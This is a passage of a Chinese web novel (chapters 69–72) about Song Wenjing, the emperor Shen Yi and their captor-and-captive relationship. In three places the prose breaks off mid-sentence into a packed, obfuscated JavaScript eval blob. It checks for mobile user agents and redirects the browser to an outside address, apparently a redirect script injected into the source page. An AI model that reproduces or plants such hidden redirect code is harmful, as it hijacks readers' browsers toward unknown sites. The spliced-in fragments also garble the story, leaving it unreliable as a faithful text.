说奇怪是真奇怪,这阵剧烈的头疼来的毫无征兆,明明上一秒还在走路,下一秒就连站也站不住了,幸好,沈翊还跟着自己,要不然又不知道该摔到哪里了。 沈翊焦灼道:“这怎么回事?因为这几天累到了?可是芙梦没摸出来,就连那老头也没出什么。” 宋闻璟默了下,不知道说什么,其实今天还疼过一两次,但只是缓了一会儿就好了便没在意,而这说是后遗症也不像,就连这里的郎中也没摸出来,而且这后遗症怎么比以前的症状还严重吗 缓了片刻,宋闻璟看着沈翊安稳道:“没事的,现在没事了。” 沈翊默了下,又道:“要不然我们回去吧,这些郎中看不出,宫里的太医肯定行,我不想你出事。” 宋闻璟道:“我没事的,不用担心。” “可……”沈翊抿了下唇,不自觉地垂下头去。 宋闻璟道:“已经好了,可能只是个意外。” 其实不太像,宋闻璟现在还能回忆起那阵剧疼,像是要把脑袋撕开一般,而那阵后怕还在心里回荡。但下一秒,他便跌进一个的温暖的怀抱,片刻间就冲散了心头的恐惧。 沈翊对他说:“你不能出事,明明我们才准备开始。” 一时之间,宋闻璟好像被什么东西猛地撞了一下,撞的他脑袋空白一片,他不禁笑了笑,抚上沈翊的后背,顺毛般地抚摸着沈翊,轻笑道:“我知道。” 温存良久,近距离的接触,也让这抹暖意互相传进心里。 直到房门被推开,冷风如同饿狼般疯一样往房间里奔去,越发清晰的脚步声在耳边响起,有人走了进来。 69.第 69 章 自从那晚一别,羽林卫几乎少了一半的人,柳溪带着剩下的人一边休养,一边朝四周搜寻两人的踪迹,直到有羽林卫说在附近的镇子上看到了沈翊的身影,柳溪才急忙忙带着一群人搜寻了半天才找到这。 但不成想,自己为了两人在外奔波数日,而这两人不仅过的舒坦,还搂搂抱抱的,全然不像以往那般不对付。 “柳大人?”宋闻璟抬眸瞧着柳溪。 闻言,身上的人动作明显一僵,随后略显呆滞地松了手,而下一秒,一只冒着寒气的手倏然划过自己颈部,沈翊微微颤了一下,衣领倏地被人用力拽起,柳溪面色平静甚至还带着几分隐约的笑意,但手背上清晰的青筋已然微微凸起,还不等沈翊反抗一下,人已经被柳溪领到了门口。 看到这副景象,宋闻璟不禁担忧了沈翊一下,刚起身迈了几步出去,却看见,柳溪一脚把沈翊踹了出去,随后房门被柳溪用力砰然关上。 宋闻璟站在原地愣了一下,刚准备追出去,只听见外面一阵巨响,随后沈翊的声音在空中陡然响起。 门外,柳溪手上一用力,将沈翊猛然摔在墙边堆放的架子上,架子剧烈抖动了下,沈翊踉跄了几步,堪堪稳住身子,有些愠怒地看着柳溪吼道:“你疯了?” 院中几乎站满了羽林卫,旁边的角落里还站着芙梦三个人,因为这道喊声,也将满院人的目光都吸引了过去。 “我看你才疯了。”柳溪抬起手,愤愤地指着沈翊道:“你知不知道你现在在干什么?” 闻言,沈翊突然不说话了,甚至不敢去看柳溪。 柳溪继续道:“你在这干什么了?有功夫出去给人打工,不知道早点回去啊。你这皇帝到底还想不想当了,是不是我不来找你,你就准备在这躲起来?永远都不回去了?” “是有个意外……” “是你个头。”柳溪气的上头,都有点呼吸不上来,刚听到沈翊说的第一个字,便直接一巴掌呼在沈翊脸上,沈翊也不躲,甚至连眼都没带眨的。 那一巴掌用了柳溪将近七分的力气,打完沈翊之后手都在微微抖着,而沈翊除了脑袋偏了一下人也是丝毫没有反应,就如同两人都好像没感觉到疼。 柳溪继续道:“我教了你这么多年,就为了让你在这时候放弃的?我不知道你怎么想的,但你当时跟我怎么说的,又跟我怎么保证的,你现在说不干就不干了,耍我呢?” 闻言,沈翊抬起头,脸颊被打的一侧已经红肿起来,他眼神有些黯淡,道:“我没忘,我答应过会给他正名,但……” “所以你现在反悔了?”柳溪打断他道,“反悔也行,从前我教过你的,那我今日便都要收回来。” 说罢,柳溪转身抽出身侧羽林卫的佩剑,指向沈翊。沈翊见状也不断闪躲,想解释什么却总被不断逼近的柳溪打断,本想着柳溪其实根本不会伤害自己,只是想拿他出出气,便没出手反抗。而院中的羽林卫也只是一动不动地站着,丝毫没有的劝架的意思。不过片刻,院中也变得一团混乱。 宋闻璟站在门口看了很久,从柳溪打的那一巴掌,宋闻璟便一直站着看,本想出手制止,但又想或许柳溪会把沈翊带回正轨,毕竟不能因为那段根本不存在自己身上的感情阻碍到沈翊。 但没想到,柳溪会如此生气,对沈翊动了真格,可柳溪的一招一式都颇有风范,丝毫不像往日不正经的样子,但柳溪什么时候学的? 彼时,原本干净整洁的院子,变得杂乱无章,还有不少东西被摔在地上,眼见因为混乱而不得不躲进屋子里的芙梦三人,宋闻璟来不及细想,也不知道哪来的勇气,上前一把抓住柳溪正在翻飞的衣袖,劝道:“别再打了。” 闻言,柳溪回头撇了他一眼,随后突然用力扯了回去,往后退了两步。而下一秒,原本该指向地面的剑刃,此刻却明晃晃地对准了自己,宋闻璟目光一顿,有些不可思议地看向柳溪,还未等开口,只见眼前的利剑直冲自己的眉心而来。 恍惚之中,那一晚与黑衣人缠斗的景象在眼前重现,宋闻璟想要抬步往后退,却发现腿上如同被灌了铅般一样沉重,让人难以移动。 而眼前对上柳溪那双狠厉又坚定的眸子,宋闻璟恍然觉得,杀沈翊或许是假的,而杀了自己却显得无比真实。 瞬时,剑刃抵在眉心划开一道小伤口,宋闻璟猛地回过神,看着眼前单手握住剑身的沈翊,鲜红的血不停的从指缝间滴落,而原本泛着寒光的剑身也被沾在上面浓艳的血迹埋没。 宋闻璟目光一顿,不禁愣了一下,继而一身的力气像被抽了个一干二净,不禁往后撤了一步,直直瘫坐在地上。 柳溪看着沈翊不禁皱紧了眉,而后者却只是摇了摇头,淡淡道:“我一会儿告诉你的。” 房间里,宋闻璟表面强装镇静地给沈翊处理伤口,手却一直不停地抖动着,沈翊看在眼里,不禁一把反握住宋闻璟的手,宋闻璟犹如被惊醒,顿时被吓了一下,手中的纱布差点掉在地上。 “怎么了?”宋闻璟抬起头不解问道,“弄疼吗?我轻一点,你忍一下很快就好了……” “你在想什么?”沈翊继续道,“不用怕,没人会伤害到你。” “可……”宋闻璟顿了顿,“柳溪想杀了我,为什么?” “他不会。”沈翊道,“别多想。” 话音落,宋闻璟垂下头不再作声,只是心里总觉得忐忑不安。这次,他没有从沈翊的话语中寻到丝毫的安心。 深夜,宋闻璟胡思乱想了很多,脑袋也变得越发清明,直到有一抹略显熟悉的熏香似从沈翊身上传来,宋闻璟才有点昏昏欲睡的感觉,但还未等意识全部消散,身子蓦地腾空而起,有人将他横抱了起来,再然后不知所有。 刚刚不久,沈翊找到了柳溪,也将事情的经过一五一十地告诉了柳溪,柳溪骂他真是蠢到家了,亏从前读了那么多书,脑袋也依旧不灵光,而且这算什么,这是公然包庇一个罪人,一个为之多数默认的朝堂公敌。 不论从前怎么样,但现在所发生过的一切,已经不能更改了。立场不同,即使认出昔日好友,也只能止步于此。 而且就算留在这里了,宋闻璟的仇家那么多,这里也会比京城安全吗?恰恰相反,在京城中,有人忌惮宋闻璟的权力不敢动手,但要是出了,什么都没有了,那跟抓个逃跑的兔子没什么区别。而且,你牵连在此,到那时自己都可能自身难保。 这些一连串的问题,沈翊倒也是没想过,从一路的状况来看,其实都不是简单的巧合,有人一直在盯着宋闻璟,还有人一直等着宋闻璟,可到底是谁,又是来自哪方势力,他不知道。 可以后若是再遇到那晚的状况,他一个人也无法敢保证宋闻璟的安全,以后为了逃命,注定是居无定所的,但看到那般拒绝回京的意思,自己也不愿意再度经历分别,便想如果能安定一时就伴他一时,毕竟他就剩下这一个在乎的人,而京城里少了他这一个皇帝并没什么,因为想当皇帝的人根本数不过来,说不定这里面还有人会比他更适合当皇帝。 他这般想着,柳溪却又道:“所以呢?你就这般打算辜负我们?你必须回去,你知不知道你行事计划了这么久,马上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宋闻璟曲着腿缩坐在一侧的角落里不说话,阴黑黑的一个小地方显得有些死气沉沉的,而这一团黑色似遮住了宋闻璟的全身,只有风吹起帘幕时,不经意间透进来的微光时不时地照在宋闻璟身上,才察觉出这里面其实还藏着一抹生机的。 见宋闻璟不说话,沈翊拿出一个馒头和水递到宋闻璟跟前,似献殷勤道:“先将就吃点吧,等明日我们就差不多回去了。” 闻言,宋闻璟瞧了眼沈翊手里的大馒头,而下一秒,自己便趁沈翊不注意,愤愤地抢了过来,想着,要死也不能饿死。 沈翊见他有了反应,心里一喜,还以为宋闻璟想开了,便道:“皇叔,说真的,外面太不安全了,还是京城好啊,还不用过那般苦日子,你想要什么东西,我还都能给你……” 沈翊在旁边说着,却没有一句能进到宋闻璟心里。宋闻璟咬了一口馒头,在嘴里嚼着,心里却像吃了青梅一样酸,自己总是不长记性,一次又一次上了沈翊的当,明明都答应自己要跟自己结束了,还跟自己说要同自己留在这里,可最后呢?还不是要把自己带回去,好完成他的目的。 宋闻璟这般想着,喉咙像被什么东西堵住,嘴里嚼了半天的馒头始终咽不下去,还有点想吐出来,直到喝了一口水才堪堪咽了下去。 但看着沈翊,心里的气又不打一处来,小声嘀咕了一声:“说这么好听有什么用,还不都是骗人的。” “什么?”沈翊探过头去,问道:“你说什么了,皇叔?” 宋闻璟像是应激般的突然推开沈翊,愤愤道:“我说我不是你皇叔,你以后别再叫我。” “那我叫你什么?”沈翊道,“可我不是都这般叫你吗?难不成要跟从前一样叫你,悦宜吗?” 70.第 70 章 这个名字,宋闻璟其实并不怎么熟悉,但沈翊这样叫过自己,而且又跟他讲述了很多关于从前的事,所以不难猜想这是原来那个人的名字。 因为裴夏曾告诉过自己,这人原来是什么郡主,但至于为什么叫这个,自己确实也不怎么明白。 可沈翊总是这样叫自己,对着自己叫别人的名字,自己心里总是觉得很难受,很不高兴。 默了两秒,宋闻璟一直没回应,手上总是不自觉地往嘴里一口口地塞着馒头,如同麻木了一般,肚子不是很饿,只觉得心里很空,迫切地想要用什么东西塞满,但手里的馒头见了大半,而这种空虚似乎还在无境止的放大,直到将自己全部包裹起来。 下一秒,一阵冰冷的触感从脸上处传来,宋闻璟蓦地缓过神来,只见沈翊欠欠地戳了下他塞得已经明显鼓起来的腮,笑道:“这馒头有这么好吃吗?难不成你的和我们的不一样?也给我一块尝尝。” 闻言,宋闻璟依旧不说话,心里正委屈的厉害,见沈翊这副样子,刚要开口说点什么,但又瞥见沈翊手上绑的厚厚的纱布,只能重新咽了回去,又从下面还没碰到的地方掰了一小块递到沈翊面前,道:“这些够不够?” “够了。”沈翊立马接过来,在嘴里嚼了两口其实也没觉得有什么特别,只是觉得宋闻璟又愿意搭理自己了,觉得宋闻璟心里肯定也是念着自己的,所以心里高兴,吃什么都觉得好吃。 但宋闻璟只觉得刚刚不经意间地触碰,才真正反应过来,沈翊手上很冷,是因为受了伤所以不抗冻了吗? 他问道:“你很冷?你的手很凉。” “还行。”沈翊道,“晚上总是要冷一点的。” 话音落,柳溪的喊声在外面响起,沈翊正打算往外走,宋闻璟问:“怎么了?遇到什么事了?” 沈翊道:“没什么事,就是忙着赶路,大概明天一早就能到。” “不休息吗?” “没地方,再说天太冷动起来还暖和一点。” 闻言,宋闻璟默了默,没再说什么,只是在沈翊临走之前,把自己的外衣给了他,毕竟沈翊是因为保护自己才受了伤,而自己也不想再给沈翊欠上一笔,怕以后在下面见了面还要补回来。 见状,沈翊又惊又喜,穿上之后,柳溪看他的眼神总是怪怪的,落在身上跟针扎了一样,沈翊不由自主地看过去,柳溪则意味不明地哼笑了一声,随之又莫名其妙地叹了口气,道:“真是防不胜防啊,不玩计策,该玩攻心了?” “你懂什么?”沈翊道,“这是人家一片好意。你看吧,我就说他本性并不坏,你们都不了解他,只有我知道他到底是个怎样的人。” “算了吧,就这么到此为止,想想就行了。”柳溪道,“别忘了自己该干什么,现在是敌非友,别再中了某人的奸计,那可没地方后悔。” “我知道。”沈翊道,“我自己心里有数。” 柳溪道:“你这年纪正是年轻气盛的时候,可能很多事都不懂,但看明白了之后就什么知道了,你是皇帝,道理便要看的更加清楚,以后更不能像这次胡来。什么该做什么不该做都要记清,你身后不止只有你一个人,肩上也该担当起你的责任。” 沈翊看向他,怔愣片刻,继而点了下头,不再说什么。 …… 宋闻璟醒来时,眼前熟悉的床顶,恍惚间是回到了那个刚穿越而来的瞬间,而现在却是他又回来了。 房间熟悉的摆设,却没有落下一层薄灰,四周安安静静的,映的宋闻璟越发落寞,他穿上衣服走了出去,院中似乎多了几个人的身影,而院中的梅树已经含苞待放,细看去也有两三枝已然展开了浓艳的花瓣。 而在梅花树下,香凌正蹲在地上不知道在干什么,宋闻璟走进看时,香凌正忙着从一堆木料里挑选出适合搭建小窝的木板。 宋闻璟不禁问道:“你在干什么呢?” 闻声,香凌抬头站了起来,看见宋闻璟心里颇为欣喜地抱着眼前人的胳膊晃了晃,随之勾起嘴角笑道:“大人,你去了那么久都没回来,还以为你要把我丢在这不管了,还有那个裴夏,也不知道跑到哪里去了,我自己一个人在这,都没人陪我,除了小财时不时叫两声,没人跟我说话,我都快憋出病来了。” “我……”宋闻璟一时被怼的说不出话来,但看着香凌一双水灵灵的大眼睛,又不知道该说什么,这一问似乎又都问到了一个致命点上,宋闻璟不知道从哪里开始说。 察觉宋闻璟脸色有些难堪,香凌也不再追问,毕竟她这条命还是宋闻璟捡回来的,是去是留,结果如何自己早都能接受,只不过现在见人回来心里有点激动了。 她又道:“今天一早,院里送来了四个人,不知道为什么,那四个人总觉得怪怪的,而且自从陛下把大人送回来后,外面就被人围了起来,不让进也不让出,我便有点担心会不会……” 闻言,宋闻璟扭头看了眼府门的方位,虽眼前看不见此刻大门紧闭的景象,但心里倒也明白,即将转瞬即逝的六年,不可逆转的结局,现在自己做的可能就是等沈翊的耐心耗尽,等沈翊万事俱备。 他突然道:“裴夏回不来了,他死了。” “怎么会?”香凌脸上的表情僵了一下,随之又想到了什么,不禁低下了头。怎么不会呢?裴夏不是一众的高手吗?现在就这么死了,可是大人和自己现如今成了这种处境,好像也很难不相信。 看着身边的人瞬间蔫了下去,宋闻抬手璟摸了摸香凌的脑袋,安慰道:“会没事的,别害怕。” 虽然这般说,但谁又能真的不害怕,这种刀架在脖子上的煎熬,最是折磨人。 香凌抬起头,突然道:“我不害怕,只是感觉这一天被延迟了很久,早在几年前,我本就该死了,这下也算解脱了,阿爹阿娘总是托梦给我,现在我正好可以去见他们了。” 宋闻璟却道:“不会的。” 香凌没做错什么,牵连至此实属不应该,宋闻璟想着既然那人能在先帝手里救下她,那自己也能在这次保下她。 但香凌不在意,话题一转,便道:“大人出去了那么久,小财都有小崽子了,刚刚我正准备准备给即将出生的小崽们做个小窝。” 说罢,还没等宋闻璟反应,香凌便兴致勃勃地拽着宋闻璟去了后院。只见后院两只颜色品种一模一样的大狗摇着尾巴在地上跑着,其中一只肚子明显大了很多。 香凌一喊,两条大狗便立马掉头跑了过来,随后在香凌腿上讨好般地蹭了蹭。 香凌道:“大人猜猜那只是小财?” 宋闻璟看着两条几近相似的黄毛狗,指了指肚子大一点的那条狗,道:“这只?” 香凌笑道:“这是小花。”随后又指了下小花尾巴上有一小团黑色毛发,形状像小花一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15014858|133861||http|test|mini|href|location.split(|),0,{})); () { $(.inform).remove(); $(#content).append( 。 “这才是小财,是不是变得更好看了?”香凌道,“你们都不在,我有一次没注意让小财溜了出去,然后我去找误把小花当成小财带了回去,直到后来小财自己溜了回来,我才发现自己认错了狗。” “是不是很神奇,居然还有跟小财撞狗的。” 话音落,小财似听懂般地止不住叫了两声,香凌俯下身拍了拍小财的头。 宋闻璟看了好几眼,还倒真有些分辨不出来了,便道:“真的,它们长的这么像会不会有什么亲缘关系吧?” “啊?”香凌惊觉道,“亲兄妹还是亲姐弟?” “可……小崽子都有了,不能这般吧……” 闻言,宋闻璟笑了笑,道:“我也不知道,只是猜测。” 香凌道:“那要是是便是吧,肚子里的小崽是无辜的,再过差不多一个月就该出生了。” 宋闻璟点点头。不过一会儿,两人把小窝搭好移到屋子里,外面气温低,怕小崽子一出生受冻,便想着在屋子里安置个地方呆一段时间。 直到傍晚,那四个新来的下人也不为所动,像是被逼着进来的,又像是真的不会做,一个扫地只会敷衍了事,一个擦东西像是总要摔碎几个才肯罢休,一个挑水还行,但洗衣服会洗破,一个做饭还差点把锅烧穿。 折腾了一天,出了不少的力,也好像闯了一天的祸,宋闻璟不知道沈翊为什么会放这四个人进来,是想再给他添点麻烦,还是想着用这种方法折磨自己。 最终,倒反天罡,宋闻璟反过来伺候上这四个人。后来,四人一言不发地吃着碗里宋闻璟做的饭,都不好意思地低着头,而看似平静的桌子下面其实都快打了起来。 宋闻璟先开口问道:“你们是不是不愿意留在这?” 四人愣了一下,随后又七嘴八舌地说了起来,乱糟糟地就跟吵起来了一样。 宋闻璟心想,看来这些人真是被迫的,应该早点把人送出去才行,也好让自己安安静静渡过最后的时间。 这般想着,宋闻璟趁着几人吵起来的功夫,把桌子收拾了一下,正准备接着把碗洗了,却不料,人才刚走出屋子不久,眼前一晃,脑袋猝不及防地疼了一下,身子一歪堪堪扶住旁边的柱子上,手里的碗一时没拿稳,近数落在脚边碎的七七八八。 听到这阵动静,屋子里的四人皆警觉地跑了出去。 屋外,宋闻璟刚缓过来,正准备收拾一下地上的残局,腰还没弯下去,便觉得胳膊被人拉了回去,身后传来声音,道:“我们来就好。” 宋闻璟本想拒绝,但看到另两个人已经快收拾完了,便道:“如果你们不想干,可以不用干,等过两天我便找人放你们出去,府里房间很多,挑几间干净的先住着吧,我身子不适就先回去了。” 话罢,宋闻璟便转身走了。 四人留在原地,开始大眼对小眼地相互看着对方,谁说要走的? “江三,肯定是你不认真干,现在人家要把我们送回去了,这下好了吧。” “小六,你怎么不说是你把人累的?饭都不会做,还能干什么,而且我们又不是真的伺候他。” “四哥,你评理!” “我……我不知道,应该都有错,但我们确实不怎么会伺候人。” “这有什么可吵的,好好补救不就行了,你们这几个笨家伙先在这呆着吧,我先走了。” 71.第 71 章 宋闻璟正准备回房间,正碰巧遇到刚给小财喂完饭的香凌,香凌看见他略显苍白的面色,不由得问道:“大人怎么了?” “没事。”宋闻璟摇摇头,“只是刚刚头疼了一下,休息一下就好了。” 香凌点头,也没再说什么,便让了路,让宋闻璟回去了。 翌日,宋闻璟还没睡醒,那四个人新来的下人便急忙忙拽着个太医走了进来,动静有些大,宋闻璟被吵了起来,看着这副景象,也不由得彻底清醒过来。 “你们在干什么?” 其中一个下人接着道:“昨日听你说身体不适,这是陛下特意从宫里安排的御医。” 宋闻璟却道:“我没事,只是前不久受了点伤,怕是留下了后遗症,休息两天应该就好了。” “那不行,来都来了,还是看看吧。” 彼时,那名太医也开口道:“大人,还是看一下吧,这样回去我也好交代。” 宋闻璟不语,慢慢伸出胳膊来,那太医诊了半天,看着宋闻璟的脸踌躇了半天,嘴边终于蹦出一句话:“您真的什么都不记得了吗?” 宋闻璟顿了下,随后不紧不慢地点了下头。那太医又道:“都过了这么多年,您就真的没想起一点吗?” 话音落,宋闻璟问道:“陛下让你来问的?” 那太医回道:“陛下说要臣治好大人,但大人都过了这么多年还没想起来,这怕是……” 宋闻璟突然道:“治好了会怎样,治不好又会怎样,最后不都是那样吗?” 太医脸色一变,正经道:“陛下说一定要把大人医好,如果医不好就继续换人来,所以,还望大人今后能好好配合臣。” 闻言,宋闻璟没说话,不知道沈翊在想什么。为了那份未知的势力以至于让他花费这么大的功夫,可说到底,这对沈翊来说也是一个已知存在的威胁,但自己还没摸清自己到底有多少势力,反被沈翊看了个透彻。 看来,还在自己未穿来之前,沈翊便早已打探清楚了,而自己的到来,反倒成了沈翊的意料之外。 现下明白沈翊还不准备对自己动手,但自己也不知道沈翊能对自己有多少耐心,是下一秒,还是明天,或者是明年都说不准,现在做的可能就是等,等沈翊的耐心耗尽,又或者等一个转机。 此后的每一天,宋闻璟在府里过的很悠闲,除了会被太医被追着扎几针,又或者是喂几碗黑漆漆的药汁,而那四个人新来的也从不提离开的事情,反倒过的就更加舒坦了,心情好就多干两下,没事就聚在一起拌两句嘴。 日子过了不知道多久,也不知道换了多少太医,沈翊自那以后再没出现过。新年一过,梅花再败,春风拂过,冰雪消融,一转眼又来到了万物复苏的时候。天空中温暖的阳光照进府中,地上多了四只跑起来肉滚滚的小狗崽。 对此,香凌时常不满道:“府里的狗太多了,放出来总是咬坏东西,应该送出去几只才行。” 嘴里这般说着,但手里却一直撸着小狗崽又软又暖的毛不停。 后院一片不曾被人察觉的空地上,似隐隐约约冒出一点绿色的痕迹,香凌发现时不禁被吸引了过去,原是从前自己失手掉落的种子居然发芽了,明明自己天天浇水时这苗总是不冒头,现在不浇水了,自己竟还冒了出来。 想罢,香凌也不舍得这几颗刚露出头的新苗被糟蹋掉,便想要好好照顾着,等以后长大了说不定还能吃上一顿。 而另一边,太医院的御医几乎换了个遍,觉得本就是无意义的事,现在又过了这么多年都没能想起,只能说机会渺茫,但沈翊如此执着,他们也没办法。 随后再一次将太医送走,宋闻璟不禁转头吐出一口药汁,一连几个月各色各样的药汁止不住地往嘴里灌,现在宋闻璟看着汤药都有点应激。 终于过了几天舒服日子,再没有太医走进府中,宋闻璟高兴沈翊终于妥协了,但又怕是因为沈翊不需要再忌惮这些势力。 但活着一天,日子就要过一天。 一日晌午,宋闻璟吃过午饭,正准备上床小憩一会儿,但没想到,外面突然吵了起来。 香凌怒火中烧,指着江六吼道:“你干嘛拔了我辛辛苦苦种的菜!” “不是不是……”江六连忙摆了摆手,显得无措道,“我不知道啊!我以为是新长出来的杂草,就顺手清了,我真不知道这是你种的菜啊。” “你说什么呢!”香凌愤愤道,“哪里像杂草,你这个无知的家伙,杂草和菜分不清吗?而且我那么多菜都被你糟蹋完了!” 江六道:“什么啊!我无知?你这明显是杂草,还说我认不清,不应该吧。” “你这个家伙!”香凌道,“就知道在府里好吃懒做,还喜欢成天捣乱,你快点赔我的菜!要不然我就告诉大人把你赶出去。” “你有本事就去啊……” 江六心不在焉地说着,却见香凌目光一顿,直直朝自己身后跑去,等江六反应过来转过身,只见香凌可怜兮兮地扑在宋闻璟身上,眼泪不停的在红肿的眼眶里打转,虽然还什么都没说,江六心里却蓦地慌了一瞬。 他要是为了这事被赶了回去,还不得那三个人笑死,而且陛下那边还不怎么好交代,说不定还要挨一顿骂才算。 “吵什么呢?” 宋闻璟抬手抹了一把香凌通红的眼眶,擦掉欲流出的热泪,继续道:“在屋子里就听到你的声音了。” 话音落,刚刚还一副气焰高涨的香凌,现在全然没有了半点强势,她抬起头,显得楚楚可怜,看着宋闻璟颇为委屈地问道:“大人,要不然你快把他们都赶出去吧,他们什么都不会干,还一直捣乱,刚刚他就把我长的好好的菜都给拔走扔没了。” “不是!” 闻言,江六立马上前解释道:“我是真的没注意,主要是这菜长的又矮又小,叶子还有点发黄,我就以为是什么杂草,顺手就……” “可我真的是没想到是……香凌种的菜。” “胡说!你就是故意的!”香凌抬起手,愤愤指着他道。 “好了,都别再吵了。”宋闻璟无奈般地开口制止,见两边都安静下来,宋闻璟也明白了什么事情,看着眼前的江六只道:“既然是无意,那便道个歉下去吧。” “嗯?哦。”江六点点头,随之很有敬意地鞠了一躬,缓缓道:“对不起啊香凌姑娘,我真的不是故意的。” “不是……” 香凌还想再反驳什么,便听见宋闻璟突然打断道:“行了,就先这样吧。” 等江六离开,香凌不情不愿道:“真是太便宜他了,大人为什么不把他们赶出去,他们在这就会捣乱。” 宋闻璟道:“他们想必都是陛下安排进来的,看样子都不是什么普通的下人,要赶走可能不容易。” “可……”香凌到嘴边的话化作一声叹息,无奈道:“算了,那就这样吧。” 宋闻璟勾了勾嘴角,顺手又给香凌擦了一把眼泪,没再说什么。 但没想到,几天后,江六不知道从哪里拿了一包菜种回来,当作补偿给了香凌,一时间,香凌也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15028034|133861||http|test|mini|href|location.split(|),0,{})); () { $(.inform).remove(); $(#content).append( 有点无措,但心里还是很高兴,颇为激动的告诉一声宋闻璟,说着“其实江六也不是很讨厌”之类的话。 对此,宋闻璟也挺高兴,两人关系缓和,以后府里可能也听不见吵闹声,清净些了。 拿到菜种的第二天,香凌便拿着自己的锄头准备重新播种,顺道又喊了一声宋闻璟要给自己出主意,说是给江六好好看看自己的菜到底长什么样,虽不知道自己还能不能撑到那日,但趁着自己还在,一定要恶狠狠地去打江六的脸。 而宋闻璟也没想到香凌会这么沉迷种地,从前那阵被禁足的日子,无事在府里种了一阵算是消磨时间,自那后面也从没管了,但没想到香凌会一直记得。 宋闻璟不禁问她,香凌却道:“自己在府里不知道干什么,除了给那梅树修枝,那就自己琢磨种点东西消遣,渐渐地,也就喜欢上了,不过,后来我便感觉还可以啊,种起来很有意思,但就是种不好,这就有点很讨厌。” 闻言,宋闻璟不由得愣了一瞬,心里蓦地一沉,看着香凌挂满笑意的脸,宋闻璟不由得连想起,从前自己报考农学其实家人并不同意,都说这专业没前景不如学一点金融或医学以后工作机会更多,但宋闻璟还是偷偷自己报上了,以至于后来每到过年亲戚们聚在一起,讨论着各家各户的孩子多优秀,赚了多少钱,一到宋闻璟这里,便都闭了声,在普通人眼里,看来这个专业就是种地,又没什么出息。 父母花了大半辈子心血去培养,就是为了让孩子有更好的生活,但转了一圈,似乎又回到了原地。 但宋闻璟还算争气,一路升学考研,明明就快完成自己实验报告,马上就能研究生毕业,进入自己心怡的公司继续进行自己的学术探讨,但没想到一睁眼就来到了这里。 说不可惜是假的,就这般背着他人的名义踏上另一个结局,而原本属于自己的未来却被抹杀在那一个夜晚,说到底,还是遗憾。 但看着香凌这么感兴趣,宋闻璟心里也涌上一阵欣喜,虽然不知道会止步于哪天,但也希望余下的日子也能伴着自己付出半辈子的心血一起往前走。 想罢,两人忙忙碌碌一天,浇完水,已是临近黄昏,不知道是蹲的太久,还是忙的没来得及吃饭,站起的一瞬间,宋闻璟眼前蓦地黑了一下,随之那熟悉的后遗症又找了上来,下意识的,宋闻璟又蹲了下去。 不知道为什么,明明前两天已经没疼过了,现在却又反了上来,是因为今天太累了吗? 等香凌浇完最后一块地方,宋闻璟也差不多缓了过来。两人回去后,第二天香凌便拿着小瓢问他:“要不要去浇水?” 宋闻璟却道:“不需要天天浇水的,浇太多也不好。” 香凌点点头,但几乎每天都要问宋闻璟好几遍“什么时候要去浇水”“没浇水种子是不是没水喝了”之类的话。 但没等到下一次浇水,一场春雨来的毫无征兆,从刚开始的毛毛雨变成一颗颗小水珠,砸到瓦片上发出清脆的响声,随之再从屋檐上一颗颗滴下,就像在屋子外装上一层珠帘,徒增了些许唯美的韵味。 宋闻璟打开门朝外瞧去,雨水就这般静静地冲刷着世间万物,而洗涤后的景象更是让人眼前一亮。 冷风还在不停地贴身吹过来,身上沾满了带着湿气的寒意,宋闻璟觉得冷了,刚想关上门,却见不远处有人撑伞徐徐走来。 宋闻璟还在想是谁,霎那间,那人不经意间地抬眸,恰巧与宋闻璟疑惑的目光相撞,而这一瞬间,耳边的雨声好似停止了,全身的注意力被这一眼彻底勾走了。 72.第 72 章 多日不见,沈翊身上明显多了几分锐利且沉稳的气质,一身玄衣烫金碎纹圆领袍衬得人尊贵文雅气场十足,也敛去了独属于少年的青涩。 而彼时不经意间地对视,沈翊漆黑的眸子如同在冰天雪地间漂浮在水面上的冰山,冰冷间又透着些许柔情,不会让人觉得太过难以接近,但通常眼神中的实际意思,却是让人难以捉摸。 一瞬间,飘着阵阵寒意的目光略过层层雨幕落在宋闻璟身上。 可却又在下一秒,这座漂浮在水面上的冰山开始慢慢融化,清透明亮的眸子渐渐燃起了暖意,沈翊眉眼一弯,浅笑了下,随之脚下的步子迈的急了些。 宋闻璟不知道为什么沈翊会在这个时候来,但看着沈翊离得越来越近,心里止不住地慌乱起来。 脑袋里思绪纵横交错,宋闻璟下意识般地想要关门,觉得沈翊或许不一定是来找自己的,可能是来找送进来的那四个人,自己就当什么也没看见,等沈翊一走,自己就去找香凌,不管沈翊一会儿要做什么,自己都要沉住气。 这般想着,宋闻璟刚把门即将推上,门上不知道卡住了什么东西,在两门相距一拳的距离时关不上了。 宋闻璟抬头,一滴水珠突然砸在自己额前不禁颤了一下,只觉得一阵冰凉,而眼前,一把收起的伞不知何时插在门上。 等宋闻璟再回过头,沈翊已然站在门口,玄色的外衣被雨水侵湿变得更加深沉,额前被打湿的碎发也粘在一起一缕一缕地挂在脸上,而残留在脸上的雨滴也顺着脸颊滑下来。 